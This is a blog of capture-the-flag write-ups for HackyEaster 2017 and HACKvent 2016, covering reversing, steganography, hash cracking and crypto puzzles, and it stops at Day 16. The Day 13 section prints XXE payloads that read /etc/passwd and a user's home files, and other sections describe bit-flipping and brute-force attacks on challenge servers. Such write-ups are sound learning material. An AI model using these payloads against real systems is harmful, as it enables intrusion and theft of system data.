HackyEaster 2017 write-up


Easter 2017 – means new HackyEaster challenges are online. The challenges were easier than the ones on Hackvent 2016. For HackyEaster all challenges are released at once and it does not matter in what time-frame the challenges are solved, this makes the CTF much less stressful than Hackvent. I solved my last challenge on April 16th at 01:24 AM and completed the CTF after eleven others did before me. Here is a screenshot of the ranking at the time I finished the last challenge.

After the competition ended in total 53 hackers solved all challenges and got the full points.

01 – Puzzle this!

Author: PS
Level: easy
Solutions: 882

An easy one to start with.


You could actually play the game by clicking on the fields. If you were able to solve it the QR code was revealed. I started to play the game but in the end finalized the QR code with gimp, as I was faster this way. 🙂

02 – Lots of Dots

Author: PS
Level: easy
Solutions: 647

The dots in the following image contain a secret message. Can you find it?

(click to enlarge)


While examining the picture in Gimp I recognized that the orange color has slight different specifications. The bigger dots are RGB 232/178/97 and the small ones RGB 232/178/98! To solve this challenge I selected one of the colors with the pipette and filled the background with it. Then I used the “fuzzy select tool” to select a region based on the color. I just clicked somewhere inside the picture and the code was revealed: 70 57 49 36 13 22 8 42

03 – Favorite Letters

Author: Goo9ping
Level: easy
Solutions: 802

Francesca’s favourite letter is s
Riley’s favourite letter is o
Ellie’s favourite letter is a
Vince’s favourite letter is p
Quintain’s favourite letter is r
Otto’s favourite letter is i
David’s favourite letter is p
Tom’s favourite letter is l
Paul’s favourite letter is e
Ulrich’s favourite letter is y
Henry’s favourite letter is w
Norman’s favourite letter is h
Louis’ favourite letter is i
Zane’s favourite letter is s
York’s favourite letter is c
Bob’s favourite letter is h
Meave’s favourite letter is s
Ian’s favourite letter is o
Sidney’s favourite letter is g
George’s favourite letter is s
Kitty’s favourite letter is d
Wilbert’s favourite letter is h
Adam’s favourite letter is t
Xander’s favourite letter is i
Callum’s favourite letter is e
Jack’s favourite letter is r


This challenge can be solved with bash in 1 line:

04 – Cool Car (mobile)

Author: PS
Level: easy
Solutions: 481


I downloaded and decompiled the APK. The sensors are somehow used to change the graph in the mobile app. While browsing through the source code files I found interesting code-parts in two different files:


This means ‘k’ is the key to decrypt the scrambled egg, and ‘k’ is nothing else than the sha1 sum of the string “file:///android_asset/www/index.html”. I rebuilt the java-script function which is used to decrypt the scrambled egg and got the QR code.

This html page then reveals the QR code:

05 – Key Strokes

Author: PS
Level: easy
Solutions: 532


This one took me some time until I found out what to do with it. I first thought it’s a log from a keylogger. After thinking about where this could make sense, I finally figured out it is from the editor VI! After typing it exactly the way described I got the password: magicwandfrankfoxy.

06 – Message to Ken

Author: PS
Level: easy
Solutions: 460

Barbie has written a secret message for her sweetheart Ken. Can you decrypt it?



I had no clue what to do here. After googling for “barby encryption” I came across this interesting link: Barbie typewriter encoding! It even has an encoder on the website which works. The decoded string is:

Beloved Ken. The secret password is lipglosspartycocktail. Barbie xx

07 – Crypto for Rookies

Author: PS
Level: easy
Solutions: 458

This crypto is not hard to crack.


– B O N T B B O K –> http://www.dcode.fr/dancing-men-cipher
– B O N T E A O K –> Base64 encoded
– B O N T E B R K –> Index of the alphabet
– B A N T E B O K –> Rot13
– C O N T E B O K –> http://www.pruzkumnik.cz/praxe/sifry/tabulky.html
– B O N T E B O A –> Reverse string
– B O P T E B O K –> Caesar (rot 3)
– B O N Y E B O K –> Character codes

After having decrypted all words we need to get the final password. If we keep the format exactly as in the picture and look at the columns and rows we see that in each column one character is different than the others. If we take all different characters from left to right we get the final password: CAPYBARA

08 – Snd Mny (mobile)

Author: PS
Level: easy
Solutions: 330


Not much information here. I again worked with the decompiled APK and went through the code. In one java class I found what was needed to solve this challenge.


We need to send an android action.SEND intent as PLAIN_TEXT_TYPE containing a text which matches the sha1 hash “c95259de1fd719814daef8f1dc4bd64f9d885ff0”. Cracking the sha1 hash was easy as no salt was used. The needed text is “money”.

We can send Android intents from the command line with ADB:

I solved this challenge with the following two commands:

I over-engineered the solution for this challenge a bit, as it would have been possible to just share the text “money” with the app in Android to solve it. 🙂

09 – Microscope (mobile)

Author: PS
Level: easy
Solutions: 414


Another mobile challenge, again I worked with the decompiled APK.


The URL gets changed because there is “.replace(‘6’, ‘5’)” in the code. The QR Code is embedded in the website https://hackyeaster.hacking-lab.com/hackyeaster/challenge09_su5z47IoTT7.html and if we look at the HTML source code we can see the image is loaded from https://hackyeaster.hacking-lab.com/hackyeaster/images/challenge/egg09_fs0sYle2SN.png.

10 – An egg or not …

Author: inik
Level: medium
Solutions: 233

… an egg, that’s the question!

Are you able to answer this question and find the (real) egg?


Analyzing the SVG shows that there are duplicate coordinate declarations! In SVGs the last of the duplicated coordinates will be used, as it just overwrites existing locations with the new declarations. To solve this challenge, I wrote a python script which ignores duplicates if there is already a declaration for the coordinates.

Finally the solution looks like this:

11 – Tweaked Tweet (mobile)

Author: PS
Level: medium
Solutions: 108


This was the last mobile challenge. The only useful part I extracted from the APK was:

This one almost drove my crazy!

I tried to find any suspicious pattern, like to identify standard ASCII characters and extended ASCII characters, mapping them to 0s and 1s, exclude all extended ones, exclude all standard ones, etc. In the end I was identifying characters which were used as some Unicode combinations instead of the standard, most simple way. But I did not come to any solution.. After wasting hours on this one I just googled for “Twitter steganography”. First link http://holloway.co.nz/steg/ hosts a converter which can be used to decode our message!!!

If we enter our decoded string “#HackyΕaster
ⅰs a lot οf fun!
#сtf #haϲking-lab” into the decoder on the website, we get the result: st3g4isfunyo.

Stego is no fun yo 🙁

12 – Once Upon a File

Author: inik
Level: medium
Solutions: 252

Once upon a file there was a hidden egg. It’s still waiting to be saved by a noble prince or princess.


‘binwalk’ is a tool to identify header information within a file. If multiple files are hidden in one single file, ‘binwalk’ can identify and automatically extract these files. With ‘binwalk’ this challenge is pretty easy to solve.

The QR code is in the file ‘egg12.png’.

13 – Lost the Thread

Author: CoderKiwi
Level: medium
Solutions: 126

Searching for eggs is fun! But sometimes they come in weird shapes and sizes. Download the image and wind up the strand!


If we open the png with Gimp we can identify a pattern with two different shapes.

On first sight it looks like Morse-Code, but as there are only two different shapes it must be bits.

I wrote a python script which reads the pixels of the image. If a line is complete without interruption it is a 1. If the line is interrupted at the beginning by a transparent pixel it is a 0.

The result string looks like it contains ASCII art. I replace all the ‘0’ with ‘.’ and all the ‘1’ with Unicode blocks ‘█’. If we play a bit with the editor, resize the window, we get the QR.

We scan the QR code we get the password ‘kiwisarekewl‘.

14 – Shards

Author: PS
Level: medium
Solutions: 252

Oh no! What a mess!


We unzip the file and get 1600 files.

After trying out different ways of sorting I found the right way to do it:

I wrote a script in Python which sorts all the images the right way, creates a new image and combines all the shards in the right way to get the final image.


15 – P Cap

Author: PS
Level: medium
Solutions: 181

What about a little P cap?


I started analyzing the file with Wireshark. I found various interesting things inside the PCAPNG file. I landed on a suspicious polish forum but the traffic was encrypted and I didn’t find a key to decrypt the traffic. Then I analyzed the DNS queries and found a radio streaming service, but this was a dead end as well.

Finally I focussed on the SMB traffic. I used the function “Follow TCP” stream in Wireshark, selected only the incoming traffic and raw format. This way I could save the incoming SMB traffic to a file. From now on I could work with my favorite forensic tool ‘binwalk’. 🙂

A file called “imnothere.txt” is really suspicious! Again, using ‘binwalk’ on it shows the txt file is a JPEG image and not a text file.

I simply rename the file to imnothere.jpg and this is the result:

Now comes the confusing part! I tried to find anything related to this php file inside the PCAP file but didn’t succeed. It was a dead end and I tried to find other things inside the PCAP, but didn’t manage to find any… I stopped working on this challenge for some days and then tried again. I came to the conclusion that the really suspicious file imnothere.txt must be something. And finally tried to use this php path on the hackyeaster site:


This page reveals the needed QR code!

I didn’t like this challenge at all, because the end of the challenge was really irritating. Having a PCAP file and finding a path to a PHP file somehow leads to the conclusion that there must be more inside the PCAP file. It was really far fetched to try the path on the main HackyEaster website. I wasted way too much time on this one.

16 – Pathfinder

Author: MaMe82
Level: medium
Solutions: 181

Can you find the right path?


This challenge was a really nice one! Somehow the description of the challenge leads to the conclusion to connect to the server with netcat or telnet. But this does not return any response. Using nmap on the port 9999 reveals that it’s running an ‘abyss’ webserver. We can use ‘curl’ to connect to it.

No matter what I tried, the webserver always returned the same response. After trying to send different things to webserver I tried to change the UserAgent to ‘PathFinder’ and it worked!

It looks like we have to call all the possible path combinations. This calls for a recursive solution! My python script to solve this challenge looks as follows:

It turns out we have to bruteforce a Sudoku game. Nice! 🙂

The link https://hackyeaster.hacking-lab.com/hackyeaster/images/challenge/egg16_UYgXzJqpfc.png reveals the QR code.

17 – Monster Party

Author: otaku
Level: medium
Solutions: 75

The monsters do have a big party, jumping around like fools.

Each of them has its own jump-pattern. When two or more meet on a field, they are happy to see each other, but continue hopping. Passing the border on either side makes them appear again on the opposite side.

Make the monsters jump, and they will reveal you a secret!


This challenge looked like there would be a lot of coding effort to solve it. But fortunately looking at the source code reveals, that the board was created by using Javascript. Many parts can be reused.

I implemented a jump button to simulate the jumps of the monsters. I also added a second table where I colorize all fields with at least one monster black. But somehow it never revealed a QR code. Apparently it wasn’t as straight forward as I first thought. After reading the challenge description again I noticed that there is no information about the starting conditions, it’s not mentioned if the monsters already did a jump or not. What means the first jump the monsters do could be another one as I implemented. I added an offset of 1 and then the QR code was revealed after 72 jumps!

My implementation can be found here.

18 – Nitwit’s Doormat Key

Author: CoderKiwi
Level: medium
Solutions: 267

Being sure that no one can read the obfuscated code, bunny Nitwit has hidden the egg behind his login-page.

Find out the username and password to show that he lives up to his own name!


We can actually debug this. I first saved the page locally and added the ‘debugger’ keyword to the end of the script. Then I opened the page with ‘firedebug’ and set a breakpoint at the end of the script where the ‘debugger’ keyword is.

The Javascript code is heavily obfuscated and encrypted, but as Javascript runs on the client side, the final source which is executed must be revealed before execution. My breakpoint in ‘firedebug’ revealed this:

Finding out the username was much harder than the password. But with some manual work I eventually got it:

Getting the password was much easier, as we could just run the magic function with the username! The password is cvoozYs4ut5n. The egg with the QR code is then downloaded from this URL https://hackyeaster.hacking-lab.com/hackyeaster/files/bunnyXm4st3rcvoozYs4ut5n.txt.

19 – Disco Time

Author: DeathsPirate
Level: hard
Solutions: 139

Disco time!


This is the first challenge rated as hard.

First step with gifs is always to look at the single frames. The gifs with the cats didn’t reveal anything interesting. But disco2.gif did.

If we look at the frames folder, we can see a lot of red and white images. Looks like a pattern. We have 31 pictures before the color changes, this seems important.

I tried to combine the frames to a new picture with ‘montage’. ‘montage’ takes the pictures by name and orders them from top left corner to the top right corner, then it goes to the next line and so on.

I used montage this way:

This takes all the pictures from the frames folder and combines it into result.png. Result.png is 48×48 pixels and the boarders between the frames are 1 pixel. It takes 31 pictures per row and then goes to the next row. I had to do some trial and error to find the right values.

After rotating the picture and flipping it vertically I got this picture: 

It’s a bit hard to read, but the codeword is “PixelPixiesArePractical“.

Helpful Links:

20 – Spaghetti Hash

Author: PS
Level: hard
Solutions: 162

Lazy Larry needs to improve the security of his password hashing implementation. He decides to use SHA-512 as a new hashing algorithm in order to be super secure. Unfortunately, the database column for the hash can only hold 128 bit. As Bob is too lazy to extend the column and all the code related to it, he decides to shrink the output of the SHA-512 operation, to 128 bit. For this purpose he picks certain characters from the SHA-512 output for producing the new value.

You got hold of four password hashes, calculated with Bob’s new implementation. Can you find the corresponding passwords?

Lucky you, you know that the following web service is calculating Bob’s algorithm. However, the web service only accepts strings of length 4 or less – brute-forcing a password list thus is no option, since the passwords you are looking for are all longer.


The hardest part of this was to find out how the hash was shortened. I wrote a python script to solve this challenge.

First I use the webservice on hackyeaster.hacking-lab.com to find out which elements of the sha512 hash were taken into the shortened hash. To accomplish this i generate random 4-letter strings, calculate the sha512 hash and get the shortened hash from the webservice. I take the first element from the shortened hash and get the indices of all the matching elements in the sha512 hash. I repeat this with the next hash and only keep the indices which were there before – until I only have 1 left. Afterwards I move to the next element and repeat. This way I get get all exact positions which are used from the sha512 hash.

The second step was to bruteforce the passwords. Luckily no salt was used to hash the passwords, so I downloaded a wordlist with the top passwords and used it to bruteforce. I calculate the sha512 hashes of the passwords and whenever all elements of the shortened hash match with the positions in the sha512 hash I have a password.

Here is the full python script:

And this is how it looks like when executing the script:

The passwords are ‘Prodigy‘, ‘Cleveland‘, ‘benchmark‘ and ‘12345678‘.

21 – MonKey

Author: PS
Level: hard
Solutions: 74

The monkey is laughing at you. Get the hidden egg from his binary.


This challenge was the hardest one for me.

First step was to rename the ipa file to zip and extract the content. There are a lot of interesting files but no QR code in sight. Running ‘strings’ on the Monkey binary reveals some information. We can see that the library CCCrypt is used, there are function named aesDecrypt and aesEncrypt, we can see an encrypted string which probably is our encrypted QR code. And then there are these two strings “thisIStheKEYyoyo” and “monkeyluv$Banana”. I was a bit disappointed at the first moment, I thought this was too easy! But I was wrong, the 2 strings didn’t work as keys no matter how I tried. It is time to use a disassembler. I used hopper to solve this task.

Most interesting function is onBtnPressed. I worked mostly with the generated pseudo code of hopper, which worked pretty well:

We can see in the else-part at the end of the function, the two strings “thisIStheKEYyoyo” and “monkeyluv$Banana” are used in a log output to display the nopeCat! Nice play PS, nice play! 😉

Proceeding with the reverse engineering I found this method call: r4 = [[NSString stringWithFormat:@”%@omo%@”, @”makybk”, @”oaenklo”] retain]; This method results in the string “makybkomooaenklo”. But that string does not work as key either.

So, I stepped backwards from where the key actually was used:

  • aesDecrypt, the key used is r5
  • r5 is r6 UTF8 decoded
  • r5 is equal r4, r4 is “makybkomooaenklo”
  • As r5 was assigned from r6 before, we have to follow r6
  • r6 was last changed in the function sub_a75c()
  • input to sub_a75c is the key entered in the app, output is r6

We have to look closer what exactly happens in the function sub_a75c()

If we simplify this method to something more readable and only take the needed values from the array ’27fbc’, we get this function:

We have a password with the length of 16 characters. In this method the order of the characters of our password is chosen and a new string resulting in ‘makybkomooaenklo’ is created. ‘int original_password’ is a pointer to the address of the first element/character of the password used in the app and to it an offset from the array ’27fbc’ is added. All values inside ’27fbc’ are smaller than 0x10. Means that the ordering of the entered password is changed inside this function. In the app someone enters a password, this function changes the order of the characters and the result of it is the known string ‘makybkomooaenklo’. But the first typed password is used to decrypt the egg.

  • End ‘result’ is ‘makybkomooaenklo’
  • result[0] is address_of_first_character_of_our_password + 27fbc[0] (Which is 0x07)
  • result[0] is the character which is at position 0x07 of our password

We don’t know the entered key, but we know what it becomes after the function ‘sub_a75c’. Now we can reverse the function and get the key to decrypt the QR code!

To reverse the string I loop over the lenght of ‘makybkomooaenklo’ and for each position (0..15) we check at what index in ‘sub_a75c’ this number is located. When we found the position, we know the position of the character in the ‘makybkomooaenklo’ string.

Running the function reveals the password ‘koolokambamonkey‘. With this key we can decrypt the encrypted image of the QR code.

22 – Game, Set and Hash

Author: PS
Level: hard
Solutions: 226

Can you beat the tennis master?


This one was pretty straight forward. You connect to the server, the server gives you a sha1 hash and you have to decrypt it. If you manage to do so in the given time it’s a point for you otherwise for the server. The points are counted the same way as a Tennis match is counted. The game is started by entering “y”.

I first tried to solve it the same way as I solved PathFinder, with dictionary bruteforce. But apparently there is some logic behind, whenever the server is losing he uses stronger,combined passwords which are not in my wordlists and wins the game. Using this method the server always won 7-6,7-6,7-6. 😀

I solved it by using an API to crack the password hashes. I registered a free account on http://md5decrypt.net. This service was able to crack all password hashes and so I won the game. I think there is a more elegant solution to somehow trick the servers logic and win the game. But as I already had a working solution I was too lazy to look for another one. 😉

My python script:

Here is the output of running the script:

The password needed to get the points is “!stan-the_marth0n$m4n“.

23 – Lovely Vase

Author: PS
Level: hard
Solutions: 83

What a nice vase! Beautiful, don’t you think?


The image of the vase gave some hints how to get the passwords from the 3 strings. To solve this one you must know about Transposition Ciphers and Rail-Fence Ciphers. More information can be found on https://en.wikipedia.org/wiki/Transposition_cipher.


The top part of the vase reveals how to arrange the string of the first text and how to read it. It looks like a square. So I aligned the first string as a square 5×5.

We read the text the same way as the pattern shows on the vase and we start in the top left corner. It’s a bit tricky in the middle, but in the end the solution for the first string is: “the first part is adriane rick“.


The second pattern on the vase clearly shows a Rail-Fence cipher. I arranged the string this way:

Now again we start reading in the top left corner but follow the zig-zag stream. We get the sentence “the second part is susanna bob“.


For the last part the vase doesn’t help much. I could not read a pattern from the image. So I just aligned it like the first one 5×5. And because of the first two solutions I knew the sentence would start wiht “the third part is”. This made it a lot easier.

This time we start reading on the bottom left corner upwards. As soon as we reach the top, we continue on the second column upwards again. Solution of this one is: “the third part isclaire frank“.

Combine all the three names and we get the final password:


24 – Your Passport, please

Author: inik
Level: hard
Solutions: 93

After another exhausting Easter, Thumper decides to travel abroad for recreation. As a real h4x0r, he of course is using his own, homemade e-passport:

Write a client which connects to the virtual terminal, and fetch the portrait photo stored on Thumper’s passport! The virtual terminal is running on:

As a starting point for your client, the following eclipse project is provided:


On first sight this challenge looks pretty hard. I never heard about the jmrtd library nor anything about how to read out ePassports. But I know Java and with a bit of googling I was able to solve this challenge pretty fast.

Most information needed to get the image with JMRTD can be found in the documentation:

It was necessary to change localhost to the hackyeaster server in HE17Terminal.java. And the rest was all done in the Java class JMRTDMain.java.

Fist thing to do is to call the doBAC() function. This is used to do the basic access control. Normally you would have to do some authentication and provide a key for it. But in our implementation this is not necessary – we create a BACKeySpec object with the details of the passport to readout.

The passport image is saved in the DG2File. I’ve found this information in the documentations mentioned before:


File identifier for data group 2. Data group 2 contains face image data.
See Also:
Constant Field Values

From the DG2File we can read out the face information with the function getFaceInfos() and from there we get the image with the function getImageInputStream().

Here is my implementation of the JMRTDMain class:

Running this Java program saves the image as result.png in the running folder.

HACKvent 2016 write-up

Update 06.01.2017: Added the challenge descriptions. Thanks to khr0x40sh!

HACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day and full points are only given if they get solved within the same day.

I solved all challenges except the last one, but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.

I ended on rank #23.

Day 01 – Detours:

Follow the white rabbit…



Santa receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?


If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
1: http://tiny.cc/HV16-t8Kd
2: http://tiny.cc/38aY-QxL5
3: http://tiny.cc/bn4K-c6Lw

In the URL of the intermediate url-shortener we see the nugget:

Day 02 – Free Giveaway:

the keys are the key


Today, Santa has a free giveaway for you:


After trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.

I used an online Dvorak converter and got the key.


Day 03 – Manufactory:

Do it yourself


Today’s gift is ready to be manufactured, but Santa’s afraid that his factory won’t manage to do a production run before christmas. But perhaps you can create it yourself?

Get Building Instructions

In the header of the instruction file we can see it was generated by slic3r, which is a g-code generator for 3d printers.

I used an online gcode viewer where I could upload the file: http://gcode.ws/
In the 3D view of the tool a QR Code becomes visible, which then reveals the nugget:


Day 04 – Language Of Us:

Why so seriously?


You all should know this language, but this one is not that consequent as it should be.


First I created a script which translated it to normal text. But this just results in the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says the leetspeak is not very consequent… So the code must depend on if a character is written in leetspeak or not:
All leetspeak characters are a 1 and all others a 0.

I used this bash command to convert the text to the binary string:

The output of the bash script is:

0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.

010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.

001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.

1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.


Day 05 – Boolean Fun:

Every Bit Is Important


Santa found a paper with some strange logical stuff on it. On the back of it there is the hint: “use 32 bit”.

He has no clue what this means – can you show him, what “???” should be?

I took the simple path with python 😉

The result is -291, submitting this to the website returns a QR code with the nugget:

Day 06 – Back 2 Work:

Greetings from Thumper


Greetings from Thumper, he has an order for you:

1. unzip: the password is confidential
2. find the flag
3. look at my holiday pictures

Comment: Be aware, the pictures are only supplement.


Unfortunately the comment, about the pictures being only supplement, was not there from the beginning. I wasted a lot of time trying to find hidden things in the pictures instead of the zip file! 🙁
After the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it with hexdump, shows a suspicious pattern. In the end, where all the filenames in the archive are listed, there are is a pattern with 0x09 and 0x20 between the file names.

013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20

If we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote these 25 binary strings to a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:

But this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):

Still not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.


Day 07 – TrivialKRYPTO 1.42:

You think you need the password?


Today’s present is encrypted. Luckily Santa did not use Kryptochef’s KRYPTO 2.0 so there might be a slight chance of recovering it?

Get me there …

First step is analysing the source code of the webpage. There you can see that all the crypto is done in javascript, on the client side. So we know exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:

What means the CRC32 of the entered password is xored with the values in s3cr3t, always 8 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits, therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns 4 characters which have to be “HV16”!
-> s3cr3t[0] ^ crc32(pass) = “HV16”
-> crc32(pass) = s3cr3t[0] ^ “HV16”
-> crc32(pass) = 2155568001 ^ 0x48563136 //take value & HV16 to hex

-> crc32(pass) = c82d6ab7

How can we reverse the CRC32?!

I downloaded the code in the end and adapt it to our string:

initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
initial: 0x00000000 OK – string to add: 3tnaIl

Enter ‘3tnaIl’ as password on the website which returns the nugget:

Day 08 – Lost In Encoding:

Multiple encodings = good encryption?


Santa and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.

It’s now on you, who has to get it up.


Really helpful link!

1. yenc decode the full file
2. base64 decode
3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this 🙂 The garykessler.net link really helped a lot here!

After the ASCII85 decoding this text is revealed:

Computer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond

Day 09 – Illegal Prime Number:

Huh – what the f***?


I’ve heard something about illegal prime numbers… Maybe this number contains the flag:

Illegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is the illegal prime number which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.

I used the extraction script of this website:

I modified the extraction script to work with the given number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.

Day 10 – I want to play a Game:

Part One


Reversing Day 1: we’ll start with an easy one.

I was a bit lucky here, didn’t really need to reverse the code:

1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:

2. We know the nugget always starts with “HV16-“”
3. XOR “HV16” with “KR40*” results in “304050607”. Suspicious, isn’t it?
4. If we continue the hex stream until the end:
5. XOR the hex stream with the encrypted nugget:


Day 11 – A-maze-ing GIFt:

Go find the codes!


Will you manage to recover today’s code from this strange picture?

It looks like a maze of some kind, and somewhere deep inside there might be more than what you’d expect at the first glance…

Obviously this is a QR code, but not yet readable in this format.

1. Enhance:
convert qr_code_error.jpg -morphology open square:1 -threshold 98% result.png
2. Did some magic with Gimp


Hidden Nugget:

According to the description it is clear that more than just one code is hidden here. Then they also submitted the hint “In doubt, let the last two parts of your first find lead you deeper into the maze.” to the website. The last two parts of your first find would be TMTO-WTDI, if you google this you find the perl motto “There’s more than one way to do it”.

I tried many different things here until I came to the right solution. It was clear it’s something with Perl but I couldn’t get it at first.

It’s possible to run the MandM.gif as perl:
./perl MandM.gif
Which asks for a PIN.

I wrote a small shell script to bruteforce the key:

The PIN 160417 finally worked:
> xmar ain’t easter 😉

Day 12 – Crypt-o-Math:

Crypto? Math? Maybe both?


you remember math classes at school?
hopefully you payed attention – and even if not, there are other ways to solve this challenge.

Get your lesson here
Easiest way to solve this is to bruteforce it:


Day 13 – JCoinz:

Sometimes less is more


The manager of jcoinz told a developer to implement a transaction tax as fast as possible so he can earn more money. Maybe that was a wrong decision…

nc challenges.hackvent.hacking-lab.com 3117


This was a really nice challenge! While first analysing the code I thought well, this looks very well implemented. But having a closer look revealed 2 problems. 🙂

1. Generate an integer overflow to earn more money:
– The user input is read with Scanner.nextInt() and only allows integers, so no overflow here
– integer range is between -2,147,483,648 and 2,147,483,647
– When you send a negative number it first is accepted by the Scanner.nextInt() method but later gets inverted to positive, there is our integer overflow! If we enter the smallest integer number and it gets inverted to positive it is 1 above the upper boundary! Here are the relevant lines of code:

– Send all but 1 coin to charity
– send -2,147,483,648 which generates the overflow
–> 1 – 2,147,483,648 -2(tax) == Overflow

2. XML Entity attack
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6” >]><foo>&xxe;</foo>


Day 14 – Radio War Game:

The quieter you become, the more you are able to hear


A UK football fan transmits chants and hopes the gods of football pick it up and consider his favorite, Manchester, to win the cup.

Santa, while using his ham radio station to receive wish-lists from earth, picked it up and saved a copy for his data lake. Can you help Santa to make sense of the signals?

Thanks to the hint I quickly got that the audio file must contain some Manchester encoded message. I imported the audio file into Audacity (“Import/Raw Data”). There we could clearly see there is some kind of pattern. But I had no idea how to program this quickly to get the message…

Get the signals

I opened the file in Audacity (File/Import/Raw Data) which showed a really suspicious pattern. Looks like a binary code.

Because of the description I assumed the message was encoded by Manchester-Encoding. I researched how this works exactly and it was not too hard to understand. But I had no idea how I would implement this in a script…
As the binary string didn’t look too long I did manual work and wrote down the pattern to a text file:
01001000 01010110 00110001 00110110 00101101 00110001 00110011 00110011 00110111 00101101 01010010 01100001 01100100 01101001 00101101 01101111 01010111 01100001 01110010 00101101 01100111 01100001 01101101 01100101 00101101 00110001 00110011 00110011 00110111 00001010

Converting the binary string to ASCII text resulted in the nugget:

Day 15 – SAP – Santas Admin Panel:

you better know how to flip around


You got access to Santa’s hompage. But without admin rights there’s nothing to see here…
A valid login is: raindeer10 / s4nt4

Admin Panel

In the description there is the hint to “flip around”. This must be a bit flipping attack!
If we analyse the website and look what is being transferred, we find the cookie “cmlnaHRz” which translates to “rights” if we decode it with base64. This must be our target. I wrote a script to perform the bit-flipping attack and grep the result from the page to see if we were successful. The bit-flipping attack is performed by switching bits which are next to each other, if we’re not successful try the next ones… Read the script for more details:

After successfully performing the bitflipping attack the page reveals a link to a png file containing a QR code:

Day 16 – Marshmallows:

type: “nomnomnom marhshmallow nomnomnom muffin%x was here”


There’s this guy Randy, he loves marshmallows and programming in python and C.
Prove him by hacking his server, that it’s not a good idea to code if you had too many marshmallows.

nc challenges.hackvent.hacking-lab.com 1033


